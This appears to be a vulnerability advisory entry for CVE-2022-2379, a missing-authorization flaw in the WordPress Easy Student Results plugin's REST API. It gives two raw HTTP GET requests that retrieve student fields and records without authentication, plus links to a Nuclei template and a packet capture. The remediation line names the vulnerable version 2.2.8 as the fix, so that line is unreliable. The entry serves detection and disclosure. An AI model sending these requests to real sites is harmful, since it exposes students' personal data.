| Title | WordPress Easy Student Results <=2.2.8 - Improper Authorization |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | An attacker can gain access to sensitive student information, potentially compromising their privacy and security. |
| Remediation | Update to the latest version of the WordPress Easy Student Results plugin (2.2.8) to fix the improper authorization vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.36543 |
| CVE ID | CVE-2022-2379 |
| CWE ID | CWE-862 |
| Tags | cve cve2022 wordpress wp-plugin wp easy-student-results disclosure wpscan easy_student_results_project vuln |
WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number.
GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Connection: close
Accept-Encoding: gzip
GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2379.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2379.pcap
N/AN/A